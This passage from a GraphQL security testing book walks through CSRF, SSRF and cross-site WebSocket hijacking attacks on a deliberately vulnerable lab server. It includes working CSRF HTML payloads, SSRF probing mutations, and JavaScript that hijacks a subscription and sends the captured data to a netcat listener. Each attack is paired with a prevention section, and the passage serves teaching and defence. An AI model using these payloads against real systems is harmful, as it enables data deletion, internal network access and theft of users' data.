hypotheses, because you never know when you will run into a completely
custom GraphQL implementation that deviates from the standard.

GET-based CSRF attacks are somewhat more interesting than POST-based
ones because applications often won’t implement anti-CSRF protections on
GET requests. This is because state-changing actions typically use other
HTTP methods. If a server allows mutations over GET, we could exploit the
HTML anchor (<a>) tag with the hypertext reference attribute (href) to build
a hyperlink that will send the mutation to the server. The anchor tag executes
only GET-based requests, which is why it isn’t a great candidate for POST-
based CSRF exploitation:

<a href="http://localhost:5013/graphql?query=mutation{some
SensitiveAction}" />

Alternatively, we could use image tags (<img>) with the source (src)
attribute to embed our mutation, like so:

<img src="http://localhost:5013/graphql?query=mutation{som
eSensitiveAction}" />

This technique works on any platform that lets you specify innocent-
looking HTML tags such as <a> and <img>. Thus, in addition to tricking
victims to visit an attacker-controlled website containing these links, you
might be able to use them in legitimate websites that accept URLs and render
the links on the client side. As a result, clients will make direct GET requests
to another site chosen by the attacker.

Although we can’t send mutations to DVGA by using the GET method, we
can try using GET to send the state-changing query deleteAllPastes. As
the name implies, the deleteAllPastes query will delete all pastes in the
server’s database. We can exploit this query by using either GET or POST.

To perform such a CSRF attack, this HTML file uses <form> tags to
submit the query. JavaScript code defined using the <script> HTML tags
makes the request automatically, as soon as the victim loads the page:



<html> 
  <body> 
    <h1>This form is going to submit itself in 2 second
s...</h1> 
     <form id="auto_submit_form" method="GET" action="htt
p://localhost:5013/graphql"> 
       <input type="hidden" name="query" value="query { de
leteAllPastes }"/> 
       <input type="submit" value="Submit"> 
     </form> 
  </body> 
 
<script> 
function sleep(ms) { 
    return new Promise(resolve => setTimeout(resolve, m
s)); 
} 
 
async function csrf() { 
    for (let i = 0; i < 2; i++) { 
        await sleep(i * 1000); 
    } 
    document.forms['auto_submit_form'].submit(); 
} 
 
csrf(); 
 
</script> 
<html>

To test this attack, save the file at https://github.com/dolevf/Black-Hat-Gr
aphQL/blob/master/ch09/get_csrf_submit_auto.xhtml to your desktop as an
HTML file. Make sure Burp Suite is intercepting traffic, and then drag and
drop the HTML file into your browser window. You should see the outbound
HTTP GET request sent after two seconds:

GET /graphql?query=query+%7B+deleteAllPastes+%7D HTTP/1.1 
Host: localhost:5013 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl
eWebKit/537.36 
(KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 
--snip-- 
Accept-Encoding: gzip, deflate 
Accept-Language: en-US,en;q=0.9 
Connection: close

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/ch09/get_csrf_submit_auto.xhtml


We’re able to use CSRF to forge a GET-based query that deletes all
pastes. Now let’s try using HTML tags such as <a> and <img> to trigger a
GET-based CSRF. One way to do this is to create an HTML page that
performs a GET request using an <img> tag, such as the one in Listing 9-5.

<html> 
<body> 
  <h1>GET-based CSRF using an image tag</h1> 
  <img src="http://localhost:5013/graphql?query={deleteAll
Pastes}" style="display: none;" /> 
</body> 
</html>

Listing 9-5: GET-based CSRF using image tags

Save this as an HTML file. As before, it will execute as soon as the page
loads, because the browser will try to fetch the URL defined using the src
attribute and send a GraphQL query.

Using HTML Injection
A second way we could exploit GET-based CSRF is by abusing another
vulnerability, such as HTML injection, which allows an attacker to inject
HTML tags into a web page. If a victim visits the site, their browser will
render the HTML code. In particular, if an attacker is able to inject a
hyperlink using the <a> tag or an image link using the <img> tag, clients will
initiate the GET request when they visit the page, following the tags’ default
behavior.

Can we trigger CSRF on DVGA using HTML injection? Let’s find out.
Open Firefox, navigate to http://localhost:5013, and go to the Public Pastes
page. Next, open Developer Tools (CTRL-SHIFT-I) and go to the Network
tab. Ensure that Altair is pointing to http://localhost:5013/graphql and enter
the mutation in Listing 9-6, which will create a new paste with a CSRF
payload as its content.

mutation { 
  createPaste(content:"<img src=\"http://localhost:5013/gr
aphql?query= { 



deleteAllPastes }\" </img>", title:"CSRF using image tag
s", public: true, 
burn: false) { 
    paste { 
      id 
      content 
    } 
  } 
}

Listing 9-6: Creating a paste containing a CSRF payload

This request injects the <img> tag containing the deleteAllPastes query
into the Public Pastes page. To do so, it relies on the fact that DVGA fetches
paste data by using GraphQL subscriptions (with WebSocket as the transport
protocol). Your browser subscribes to new paste-creation events, so
whenever a new paste is created, the subscription automatically populates
the page with its title, content, and other information. By putting our payload
in the createPaste content field, we effectively embed it on the page.

Now, when clients send queries using createPaste and the content
field, they will render the payload. Take a close look at what happens in your
Network tab once you send the query. You should see the outbound GET
request shown in Figure 9-5.



Figure 9-5: A GET-based query sent through an HTML image tag containing a CSRF payload

If you refresh your browser, you should no longer see any pastes, as the
CSRF attack should have deleted them. Click Rollback DVGA, located in
the top-right drop-down menu, to restore the server to its original state.

We’ve discussed GET- and POST-based CSRF attacks. We’ve also
discussed how some GraphQL servers attempt to prevent CSRF by rejecting
mutations using the GET method, and how to test for those as well. Next,
let’s use BatchQL and GraphQL Cop to automatically flag GraphQL servers
that might be vulnerable to CSRF.

Automating Testing with BatchQL and GraphQL Cop
BatchQL has multiple CSRF-related test cases. Let’s run it against DVGA to
see what information we’re able to get about its CSRF vulnerabilities:

# cd ~/batchql 
# python3 batch.py -e http://localhost:5013/graphql | grep 
-i CSRF 



 
CSRF GET based successful. Please confirm that this is a v
alid issue. 
CSRF POST based successful. Please confirm that this is a
 valid issue.

As you can see, we used grep with the -i flag to filter out results
unrelated to CSRF vulnerabilities. BatchQL detected that both GET and
POST allow non-JSON-based queries.

GraphQL Cop is similar to BatchQL in the way it tests for CSRF
vulnerabilities, except it additionally tests whether the server supports
mutations over GET:

# cd ~/graphql-cop 
# python3 graphql-cop.py -t http://localhost:5013/graphql
 | grep -i CSRF 
 
[MEDIUM] GET Method Query Support - GraphQL queries allowe
d 
using the GET method (Possible Cross Site Request Forgery
 (CSRF)) 
[MEDIUM] POST based url-encoded query (possible CSRF) - Gr
aphQL accepts 
non-JSON queries over POST (Possible Cross Site Request Fo
rgery)

Automated tools may introduce false positives, so we recommend always
manually verifying that their results are accurate.

Preventing CSRF
In the years since CSRF was discovered, browser vendors such as Mozilla
and Google have significantly improved their CSRF mitigations. Various
open source web server frameworks have also made CSRF vulnerabilities
tremendously harder to exploit. This section explains the CSRF mitigations
that exist today at the browser and server levels.

The SameSite Flag
Browsers have started supporting a special HTTP cookie attribute called
SameSite. This attribute allows developers to decide whether the client



browser should attach the cookie when making cross-site requests. To set
this cookie attribute, the application needs to set a Set-Cookie response
header. This interferes with a CSRF attack’s attempt to send a request from
the attacker website (say, attacker.com) to a target website of interest
(banking.com).

One challenge with using the SameSite attribute is that older browsers
may not support it. However, most of the modern browsers do. Mozilla’s
Developer website has a dedicated section about SameSite browser support
that developers can use as a reference.

The SameSite cookie attribute accepts three values:

Strict Send the cookie only when the user is browsing within the same
origin

Lax Send cookies only when the request uses HTTP GET and was not
initiated by a script, such as by top-level navigation

None Send the cookie on cross-site requests, effectively providing no
protection
GraphQL servers that set cookies with the SameSite attribute will return a

Set-Cookie HTTP response header:

Set-Cookie: session=mysecretsession; SameSite=Strict

When a website sets a cookie without specifying the SameSite attribute,
modern browsers such as Chrome assume it is set to Lax. When a cookie is
set with a value of Strict, the cookie won’t be sent on cross-site requests if
a CSRF attack takes place.

Anti-CSRF Tokens
To protect against CSRF vulnerabilities at the server level, web frameworks
introduced anti-CSRF tokens. These are hard-to-guess, cryptographically
strong, and unique strings generated on the server. The server expects the
client to pass an anti-CSRF token on every request. When a server sees an
incoming request without such a token, the server rejects that request.



Servers can generate anti-CSRF tokens per request or once for the lifetime
of a user session. Generating a token per request is stronger mitigation and
more difficult to defeat because it reduces the amount of time an attacker has
to obtain a valid token. Once a token gets invalidated, the server should no
longer accept it.

Clients typically send anti-CSRF tokens to the server by using an HTTP
request header, such as X-CSRF-TOKEN, or in an HTTP body parameter, such
as csrf-token. Many web frameworks have built-in support for CSRF
protection, allowing developers to build secure applications without
requiring them to implement CSRF defenses from scratch. Here is an
example HTTP request that contains an anti-CSRF token:

POST /graphql HTTP/1.1 
Host: localhost:5013 
Content-Length: 19 
Content-Type: application/x-www-form-urlencode 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 
Safari/537.3 
 
query=mutation+%7B+createPaste%28title%3A%22CSRF%22%2C+con
tent%3A%22content%22 
%2C+public%3Atrue%2C+burn%3A+false%29+%7B+paste+%7B+id+con
tent+title+burn+%7D+ 
%7D%7D&csrf-token=asij2nrsc82kssadis

It’s important to remember that, just like any other security control, tokens
can be defeated if implemented incorrectly. Here are a few ways an attacker
might go about bypassing anti-CSRF tokens:

Removing the CSRF token value. Some anti-CSRF implementations may
fail when a CSRF parameter exists but no value is set, resulting in a null
value.

Removing the CSRF parameter and token value altogether. Some anti-
CSRF implementations may fail when the parameter is not set.

Reusing a CSRF token in subsequent requests. If an attacker can capture
one valid anti-CSRF token, such as one belonging to their own session, and
the server doesn’t invalidate already-used tokens, it’s possible to reuse that
token in CSRF attacks.



Replacing the CSRF token with a random string of the same character
length. Some servers may simply look at the token value and check its length.
If the length is equal to that of a normal token (for example, 14 characters),
they may let the request go through.

Brute-forcing the CSRF token. Some CSRF tokens may be
cryptographically weak, allowing an attacker to brute-force them. For
example, they might be short in length, use a predictable pattern, or employ a
weak cryptographic algorithm.

When combined, browser- and server-level CSRF protections follow the
defense-in-depth security principle and make CSRF harder for attackers to
exploit.

Server-Side Request Forgery
SSRF allows an attacker to perform requests on behalf of an impacted server.
Using SSRF, attackers could force the server to establish connections to
internal services, often providing access to restricted network zones, internal
APIs, and sensitive data. Web applications can introduce SSRF in many
ways. Frequently, applications expose functionality to clients that takes input
from them and uses it to perform a particular action. For example, consider
an application that lets the user supply a URL to a photo they like from a
specific website, such as imgur.com. The application then downloads the
photo and sends it to the user over email as an attachment.

In this example, the application expects two inputs: a URL to imgur.com
containing an image, and an email address. What if an attacker supplies other
inputs, such as a URL like http://lab.blackhatgraphql.com/cat.png and an
email address like info@blackhatgraphql.com? If the application doesn’t
validate the inputs by, say, ensuring that the URL’s domain is imgur.com,
then, once the user submits this information, the application might instead
attempt to reach the attacker-controlled website, download the image to disk,
and save it to a folder. It might then use a command line utility or a script to
send the email with the attachment to the user.

An attacker could also supply a variety of URLs as input, including URLs
that contain addresses of private, non-routable IP addresses (such as
172.16.0.0/24 or 10.10.0.0/24). If the server happens to exist on a network



where these ranges exist, it may perform calls to internal services, such as
databases or internal websites on the network, allowing an attacker to read
responses from servers they shouldn’t otherwise be able to reach. An
attacker can also attempt to guess internal URLs in hopes of landing on a
valid one that resolves to an internal address (such as internal.example.com,
internal2.example.com, and so on).

With the adoption of cloud infrastructure, SSRF has become one of the
greatest vulnerabilities for hackers to find. This is because many cloud
providers host metadata endpoint URLs, which allow cloud instances to read
information about themselves, such as the role assigned to the instance and
the credentials in use. Because SSRF could allow an attacker to make
internal calls, it could provide them with the ability to obtain this sensitive
information about the vulnerable server.

NOTE

Cloud metadata endpoints are outside the scope of this book. You
can read more about AWS metadata at https://docs.aws.amazon.co
m/AWSEC2/latest/UserGuide/instancedata-data-retrieval.xhtml
and Google Cloud metadata at https://cloud.google.com/compute/d
ocs/metadata/overview.

Attackers can attempt SSRF on a variety of protocols other than HTTP,
such as File Transfer Protocol (FTP), Server Message Block (SMB),
Lightweight Directory Access Protocol (LDAP), and so on. And, just like
other API technologies, GraphQL isn’t immune to SSRF vulnerabilities.

Understanding the Types of SSRF
You might encounter three kinds of SSRF vulnerability when performing a
GraphQL penetration test. Much like the blind SQL injection you learned
about in Chapter 8, blind SSRF vulnerabilities provide no concrete visual
indication that the vulnerability exists. Instead, an attacker may be able to
infer the presence of a vulnerability by using out-of-band exploitation tools
that can listen to various protocol messages.

https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.xhtml
https://cloud.google.com/compute/docs/metadata/overview


For example, recall the URL image-fetching service we discussed earlier.
When exploiting a blind SSRF, an attacker may be able to tell that the
application is vulnerable by capturing traffic on the remote server that hosts
lab.blackhatgraphql.com. When the attacker submits the URL
http://lab.blackhatgraphql.com/cat.png, the application may initiate certain
connections on different protocols before it attempts to perform the image
fetch over HTTP, such as TCP connections on port 80. This could indicate
that the application is attempting to reach the attacker-controlled server.

Another way to determine the existence of a blind SSRF is through timing
analysis. An attacker can introduce an intentional, artificial delay in the
HTTP responses that the attacker-controlled server returns, and then
determine whether the attack succeeded based on the amount of time it takes
for the vulnerable application to return a response.

As the name implies, a semi-blind SSRF offers some evidence, but not a
full indication, that an SSRF vulnerability exists. The information could
include errors or partial server responses. Imagine that an attacker tries
submitting various internal URLs to the image-fetching service in an attempt
to discover which network the host is on. For example, they might submit
http://10.10.0.254/index.xhtml or http://172.12.0.254/index.xhtml. In a
successful attempt, the application may send an email without the attachment,
while for a failed attempt, it wouldn’t send an email at all.

The last type of SSRF is the kind you should hope to discover as a
penetration tester: non-blind SSRF (also called full-read SSRF), in which
the server returns a full response to the attacker, indicating that the SSRF
vulnerability exists. In the example of the image-fetching service, we may see
the full HTTP response after providing a non-image-based URL to the
application.

Searching for Vulnerable Operations, Fields, and
Arguments
When testing GraphQL servers for SSRF, examine all possible operations,
whether they’re mutations or queries. As you might expect, SSRF typically
affects one or more vulnerable GraphQL arguments that accept values, such
as scalars.



Also pay close attention to GraphQL field names to see what they were
designed to do. For example, fields whose names include verbs such as
fetch, import, download, or read could all imply that the server performs an
action, such as reading from somewhere or fetching a resource. In addition to
field names, certain argument names could suggest that the server is
attempting to perform an outbound connection to resolve the query. Here are
a few examples:
ip

url

host

network

domain

site

target

fetch

img_url

target_url

remote_url

This is a partial list, but it should give you an idea of which keywords
could be telling.

Testing for SSRF
Let’s go ahead and test for SSRF vulnerabilities in DVGA by using Burp
Suite. Open the built-in browser by clicking Open Browser. Then, quickly
tour DVGA’s web interface. Does anything jump out at you? How about the
Import a Paste page, shown in Figure 9-6?



Figure 9-6: DVGA’s Import a Paste page

The Import from URL form takes a URL and attempts to import the paste
from it. To see what happens when you submit a URL, toggle on the Intercept
mode in Burp Suite, enter any URL into the search bar, and click Submit.
(Here is an example paste you could import:
https://pastebin.com/raw/LQ6u1qyi.) You should see a request like the
following in Burp:

POST /graphql HTTP/1.1 
Host: localhost:5013 
Content-Length: 302 
Accept: application/json 
Content-Type: application/json 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 
Safari/537.36 



--snip-- 
Origin: http://localhost:5013 
Referer: http://localhost:5013/import_paste 
Accept-Encoding: gzip, deflate 
Accept-Language: en-US,en;q=0.9 
Cookie: env=graphiql:disable 
Connection: close 
 
{"query":"mutation ImportPaste ($host: String!, $port: In
t!, $path: String!, 
$scheme: String!) {\n        importPaste(host: $host, por
t: $port, path: $path, 
scheme: $scheme) {\n          result\n        }\n }","vari
ables":{"host":"pastebin.com","port":443,"path":"/raw/LQ6u
1qyi", 
"scheme":"https"}}

As you can see, the request uses the importPaste mutation, which accepts
four arguments: host, port, path, and scheme. The POST JSON payload
includes the variables key to pass the URL components (values) to these
arguments.

Behind the scenes, DVGA uses the URL as part of an HTTP GET request,
reads the response, and adds it into its paste database. To see the imported
content, click the Forward button in Burp Suite to send the request to the
GraphQL server, toggle off Intercept mode, and go to the Private Pastes
page.

Under the hood, GraphQL made an HTTP call to retrieve this content from
the URL. This type of functionality screams SSRF! Let’s manually explore
the same GraphQL query, changing some of the values. The mutation is
shown in Listing 9-7.

mutation { 
  importPaste(scheme: "https", host:"pastebin.com", port:4
43, path:"/raw/LQ6u1qyi") { 
    result 
  } 
}

Listing 9-7: The importPaste mutation



If you look closely, the four arguments compose the building blocks of a
URL that GraphQL will construct (in this case,
https://pastebin.com:443/raw/LQ6u1qyi). If we can use the HTTP (or
HTTPS) scheme and provide any domain and port that we desire, nothing
stops us from poking around for other services on DVGA’s network, right?

Let’s see what happens when we specify an internal URL instead of an
external one. In Listing 9-8, we specify a different URL destination to import
a paste from. The mutation will force DVGA to import a paste by making an
HTTP request to http://localhost:8080/paste.txt. Note that while localhost
is a valid host, port 8080 is not open on the DVGA container. Therefore, this
request won’t return anything meaningful.

mutation { 
  importPaste(scheme: "http", host:"localhost", port:8080, 
path:"/paste.txt") { 
    result 
  } 
}

Listing 9-8: The malicious version of the importPaste mutation

After running the mutation, you should see this response from Altair:

{ 
  "data": { 
    "importPaste": { 
      "result": "" 
    } 
  } 
}

The server returns an empty result object value. We were able to get this
response in Altair pretty quickly. (In our lab, we received it within 100
milliseconds.) So, we now know that we get an immediate result without any
data in the result JSON key if we probe a port that isn’t open.

Next, let’s simulate an SSRF vulnerability by probing for a service that
does exist. To simulate an additional service on the DVGA container, we’ll
use Netcat. First, start a Netcat listener in the DVGA container by running the
following Docker command in Kali’s terminal:



# sudo docker exec -it dvga nc -lvp 7773 
 
listening on [::]:7773 ...

Next, we’ll construct a payload to send an HTTP probe to the port Netcat
is binding to (7773), as shown in Listing 9-9.

mutation { 
  importPaste(scheme: "http", host:"localhost", port:7773, 
path: "/ssrf") { 
    result 
  } 
}

Listing 9-9: A mutation query to abuse an SSRF vulnerability

If you send this query, you should receive output similar to Listing 9-10 in
your Netcat listener.

connect to [::ffff:127.0.0.1]:7773 from localhost:55554
 ([::ffff:127.0.0.1]:55554) 
GET /ssrf HTTP/1.1 
Host: localhost:7773 
User-Agent: curl/7.83.1 
Accept: */*

Listing 9-10: DVGA request reached the internal service

This shows that DVGA made a GET request to an internal, unexposed
port. Note that this port is not directly accessible by the Kali machine; we’re
using DVGA itself to reach it, illustrating how an SSRF vulnerability can
give an attacker access to services they otherwise wouldn’t be able to reach
directly. This SSRF attack is more specifically a cross-site port attack
(XSPA), which falls under the SSRF vulnerability category.

You may have also noticed that Altair hangs after sending the
importPaste mutation in Listing 9-10. This happens because the Netcat
listener we opened won’t return a response, but Altair waits until it receives
a response from the GraphQL API. This is effectively a blind SSRF, because
we have no direct access to the response as the attacker; all we know is that



the client hangs when we probe a port that’s open. You can close the Netcat
listener by pressing CTRL-C. Altair’s state should then return to normal.

Preventing SSRF
To determine whether an application might be vulnerable to SSRF, we can
ask ourselves this question: Does a client have control over any of the target
URLs the API flows use? SSRF mostly involves manipulating target URLs by
directing them to unexpected and restricted internal or external locations.
Here are some strategies for protecting against this:

Input validation. Allows rejecting dangerous characters passed to GraphQL
arguments that accept URLs as part of a query or mutation. Ensures that only
authorized URLs are accepted and helps reduce the risk of SSRF.

Network segmentation. Helps minimize the risk by ensuring that
applications can communicate with only the relevant internal networks. A
vulnerable GraphQL API in your staging network shouldn’t be able to reach
another GraphQL API in your production network.

Threat modeling. Allows identifying potential risks earlier in the
development life cycle of GraphQL APIs and, more specifically, in queries
or mutations that have the potential to be vulnerable to SSRF.

Least privileges principle. Helps minimize the blast radius. Ensure that the
instance on which GraphQL runs does not have overly permissive
permissions and cannot perform privileged actions across applications.

In the next section, we’ll pivot to talking about hijacking-based
vulnerabilities that impact GraphQL subscriptions.

Cross-Site WebSocket Hijacking
If an attacker can hijack a user’s session by getting their hands on session
cookies that grant special privileges on an application, they can perform
actions using the victim’s privileges and access their sensitive data. CSWSH
is a CSRF vulnerability that impacts the handshake part of WebSocket
communications, which use cookie-based authentication. Because GraphQL



APIs can use WebSocket for subscription operations, they risk being
vulnerable to CSWSH.

In Chapter 3, we showed the handshake request and response sent between
a GraphQL client and server when using subscriptions over WebSocket to
communicate. Clients initiate these WebSocket handshakes over HTTP and
may include a cookie like the following if the WebSocket server implements
authentication:

Cookie: session=somesessionID

CSWSH can occur when a WebSocket connection handshake doesn’t
include an anti-CSRF token to prevent attackers from performing cross-
origin requests. When no such token exists, it’s easy for an attacker to
develop special code that forges WebSocket messages on behalf of the victim
and uses their authenticated session.

In addition to anti-CSRF tokens, WebSocket servers should also validate
the Origin header in the WebSocket handshake request. The Origin header
has an important security function, as it identifies the request’s source. If a
server doesn’t check this header, it won’t know whether the handshake
request was forged. Any handshake with an unauthorized origin should return
a 403 Forbidden response code rather than 101 Switching Protocols.

Finding Subscription Operations
CSWSH vulnerabilities lie at the transport protocol level and so aren’t flaws
in GraphQL itself. In the context of GraphQL, you’ll find them only when a
GraphQL API uses subscriptions to perform real-time updates. Thus, to test
for CSWSH, we’ll first want to know whether the target application has any
subscription-related fields. To discover this, we can use an introspection
query that relies on the subscriptionType to get field names, as shown in L
isting 9-11.

query { 
  __schema { 
    subscriptionType { 
      fields { 
        name 
      } 



    } 
  } 
}

Listing 9-11: Getting subscription field names by using introspection

If you run this query in Altair against DVGA, you should notice a field in
the schema named paste that the subscription operation can use.

Hijacking a Subscription Query
Now let’s hijack a subscription query and exfiltrate its response. To simulate
this attack, we’ll take the following steps. From the attacker’s perspective,
we’ll open a Netcat TCP listener on port 4444, where we’ll receive the
exfiltrated response. Next, from the victim’s perspective, we’ll simulate a
user falling victim to a social-engineering attack by dropping an HTML file
into the browser so it loads the JavaScript code, hijacking the user’s session
to perform a WebSocket handshake and subscribe to the paste event. We’ll
also create a new paste in DVGA for the subscription query to pick up. This
will simulate website activity that the victim may have access to that the
attacker shouldn’t. Finally, we’ll read the exfiltrated response obtained by
Netcat.

Let’s start by first examining the underlying code to understand the attack
pattern. Save the CSWSH hijacking code at https://github.com/dolevf/Black
-Hat-GraphQL/blob/master/ch09/websockets_hijack.xhtml to your desktop.
Make sure the filename has the .xhtml extension. Listing 9-12 shows the
code.

<html> 
  <h2>WebSockets Hijacking and GraphQL Subscription Respon
se Exfiltration Demo</h2> 
</html> 
 
<script> 
    const GQL = { 
      CONNECTION_INIT: 'connection_init', 
      CONNECTION_ACK: 'connection_ack', 
      CONNECTION_ERROR: 'connection_error', 
      CONNECTION_KEEP_ALIVE: 'ka', 
      START: 'start', 

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/ch09/websockets_hijack.xhtml


      STOP: 'stop', 
      CONNECTION_TERMINATE: 'connection_terminate', 
      DATA: 'data', 
      ERROR: 'error', 
      COMPLETE: 'complete' 
    } 
 
  ws = new WebSocket('ws://localhost:5013/subscriptions'); 
❶ 
  ws.onopen = function start(event) { 
        var query = 'subscription getPaste {paste { id tit
le content 
ipAddr userAgent public owner {name} } }'; ❷ 
 
        var graphqlMsg = { 
             type: GQL.START, 
             payload: {query} 
        }; 
        ws.send(JSON.stringify(graphqlMsg)); ❸ 
  } 
  ws.onmessage = function handleReply(event) { 
    data = JSON.parse(event.data) ❹ 
    fetch('http://localhost:4444/?'+ JSON.stringify(data), 
{mode: 'no-cors'}); ❺ 
  } 
</script>

Listing 9-12: JavaScript code that performs WebSocket hijacking

We initialize a new WebSocket object and specify the DVGA’s
subscription URL ❶. At ❷, we declare a query variable containing the
subscription query. This query subscribes to the paste event and fetches
fields such as id, title, content, ipAddr, userAgent, public, and the
owner’s name. At ❸, we send a JSON string containing this query over the
WebSocket protocol. After the message is sent, the ws.onmessage event
handler is called when incoming WebSocket messages are received. This
handler will parse the message as a JSON object ❹. Once the message is
parsed, the code at ❺ will exfiltrate the response to a destination (in this
case, http://localhost:4444) by using GET URL parameters.

Let’s get things started! In a terminal window, run the following command
to start the Netcat listener:



# nc -vlp 4444 
 
listening on [any] 4444 ...

The -vlp flags we pass to Netcat tell it to listen (-l) in verbose mode (-
v) on port (-p) 4444. Next, open a browser window and drop the HTML file
you downloaded earlier into the browser’s window. You should see the page
shown in Figure 9-7.

Figure 9-7: The WebSocket hijacking demo

Next, open another browser window and click Create Paste on the left to
open the Create a Paste page on http://localhost:5013. Enter something
you’ll recognize as the title and your message, as shown in Figure 9-8.



Figure 9-8: A paste creation in DVGA

Next, click Submit, and pay close attention the terminal window in which
Netcat is running. You should see output similar to this:

listening on [any] 4444 ... 
connect to [127.0.0.1] from localhost [127.0.0.1] 50198 
GET /?{%22type%22:%22data%22,%22payload%22:{%22data%22:{%2
2paste%22:{%22id%22:
%2214%22,%22title%22:%22This%20will%20get%20exfiltrated!%2
2,%22content%22:%22
Exiltrated%20Data%22,%22ipAddr%22:%22172.17.0.1%22,%22user
Agent%22:%22
Mozilla/5.0%20(Windows%20NT%2010.0;%20Win64;%20x64)%20Appl
eWebKit/537
.36%20(KHTML,%20like%20Gecko)%20Chrome/96.0.4664.45%20Safa
ri/537.36%22,
%22public%22:true,%22owner%22:{%22name%22:%22DVGAUser%2
2}}}}} HTTP/1.1 



Host: localhost:4444 
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96" 
sec-ch-ua-mobile: ?0 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 
Safari/537.36 
sec-ch-ua-platform: "Linux" 
Accept: */* 
Sec-Fetch-Site: cross-site 
Sec-Fetch-Mode: no-cors 
Sec-Fetch-Dest: empty 
Accept-Encoding: gzip, deflate 
Accept-Language: en-US,en;q=0.9 
Connection: close

Netcat received a GET request from the victim containing the exfiltrated
paste data. You can see that the request’s URL parameters start with /?
{%22type. The payload is URL encoded, but when you decode it, you can
immediately tell it’s the paste data we created using DVGA’s user interface.
You can perform this URL decoding with a website such as https://meyerwe
b.com/eric/tools/dencoder or by using Python from the terminal, as shown in
Listing 9-13.

# echo 'ADD-STRING-HERE' | python3 -c "import sys;
from urllib.parse import unquote; print(unquote(sys.stdin.
read()));"

Listing 9-13: URL decoding with Python

We were able to exfiltrate data by forcing a client to visit an attacker-
controlled website, where custom code sent forged, cross-site WebSocket
messages and exfiltrated their responses to a remote Netcat listener.

Preventing CSWSH
Because CSWSH is a CSRF attack, you can prevent it by using CSRF
mitigation techniques. WebSocket servers that use forms of authentication
other than cookies to authenticate clients, such as JWT, can also offer
protections. When a server uses JWT tokens, cross-site WebSocket messages
won’t be able to authenticate without the proper headers, resulting in a
handshake failure.

https://meyerweb.com/eric/tools/dencoder


Validation of the Origin header is also crucial to preventing CSWSH
attacks, and from a hacker’s perspective, this validation is worth testing for
bypasses. Servers may check the header in odd ways. For instance, if the
application allows only the origin example.com, an attacker might try
creating a domain that uses it as its subdomain, like
example.com.attacker.net. If the server validates the Origin header in a
naive way (for instance, by checking for the string example.com), such an
attack might pass the validation logic.

Summary
In this chapter, you learned about attacks affecting GraphQL API consumers
and servers. Using GET- and POST-based CSRF, attackers could forge
queries and mutations on behalf of clients. By hijacking WebSocket
communications by using CSWSH, an attacker could exfiltrate GraphQL
subscription responses. Finally, SSRF allows attackers to forge requests on
behalf of servers and potentially reach internal resources.



10
DISCLOSED VULNERABILITIES AND

EXPLOITS

This chapter is dedicated to exploring
real-world hacking reports. These
previously discovered GraphQL
vulnerabilities and exploits will reinforce
some of this book’s lessons and

hopefully inspire you to conduct your own security
research.

Throughout the book, you’ve learned about many approaches to testing
GraphQL APIs in a lab environment. But in real-world scenarios, you might
run into vulnerabilities that are unique to the application against which you
are performing a test. In this chapter, you will discover how specific some
vulnerabilities can be. Whenever you learn a new technology, reviewing
publicly available hacking reports has numerous advantages. This chapter
will be useful because you’ll discover the following:
New hacking techniques from others in the community
Other hackers’ approaches to the process of publicly disclosing
vulnerabilities, including the technical depth of their reports as well as how
to communicate with external companies, gauge a vulnerability’s severity,
and demonstrate its practical business impact



Ways to identify the software weaknesses that companies care the most about
The design and implementation of real-life GraphQL applications, and the
types of vulnerabilities that companies deal with on a regular basis in their
production environments
Companies’ approaches to vulnerability mitigation, as finding a long-term
mitigation strategy for a software security flaw is just as important as
knowing how to break software

As you’ll see, whenever you learn something new, there’s a good chance
someone else has already done work that could give you a head start.

Denial of Service
In this section, we’ll review publicly disclosed reports that had DoS impacts
on the APIs of numerous companies (some of which may even be familiar to
you). Remember from Chapter 5 that DoS vulnerabilities are quite common
in GraphQL because of the power of the query language. Let’s explore just
how much of an impact these issues can have on a server.

A Large Payload (HackerOne)
HackerOne’s bug bounty platform uses GraphQL extensively in its
production environment. In addition to hosting the bug bounty programs of
other companies, it runs its own program, which hackers can use to disclose
security issues identified in the platform.

NOTE

You can find the HackerOne program at https://hackerone.com/secu
rity.

In May 2020, one hacker disclosed such a vulnerability (https://hackeron
e.com/reports/887321). They identified that, despite the HackerOne
documentation indicating the existence of a character limit on the API’s query
inputs, this limit wasn’t enforced in practice.

https://hackerone.com/security
https://hackerone.com/reports/887321


To test the vulnerability, the hacker coded a Python-based exploit
(included in the report) that does the following:

. Sets some necessary HTTP request information, such as cookies and
authorization headers.

. Initializes an empty string variable, a.

. Performs a for loop 15,000 times and adds a character string to a,
effectively creating a string of 15,000 characters.

. Performs another for loop 50 times to send a mutation query that uses the
CreateStructuredScope field. This field uses the constructed payload
from the previous step 10 times, effectively providing a value to the field’s
instruction argument containing 150,000 characters.

. Outputs the amount of time it takes the server to return a response to a client
query. This value is used as an indicator of the query’s possible performance
impact on the server. The slower the response time, the more obvious it
becomes that server performance degrades.

The following is a snippet of the mutation used in the exploit. The large
payload constructed by the exploit replaces the $instruction placeholder
as part of the mutation:

--snip-- 
mutation ($eligible_for_submission: Boolean, $instruction: 
String) 
{ 
  createStructuredScope(input: {$eligible_for_submission,
 instruction: $instruction}) 
    { 
      --snip-- 
    } 
} 
--snip--

Sending this mutation to the server proved impactful. After the hacker sent
a few of these requests, the GraphQL server started running into difficulties,
returning the HTTP server errors 500 Internal Server Error, 502 Bad
Gateway, and 504 Gateway Timeout, effectively causing a DoS. HTTP



response codes at the 500 level are server-side errors that indicate
something went wrong, either with the proxy or with the server.

Remember that DoS vulnerabilities don’t necessarily need to knock a
server completely offline to be effective. They can also consume a lot of
resources, causing a visible performance degradation.

HackerOne granted the hacker a bounty of $2,500 for responsibly
disclosing this report.

Regular Expressions (CS Money)
One form of DoS not covered in Chapter 5 uses regular expressions (regex).
Regular expression DoS (ReDoS) exhausts a server by forcing it to process a
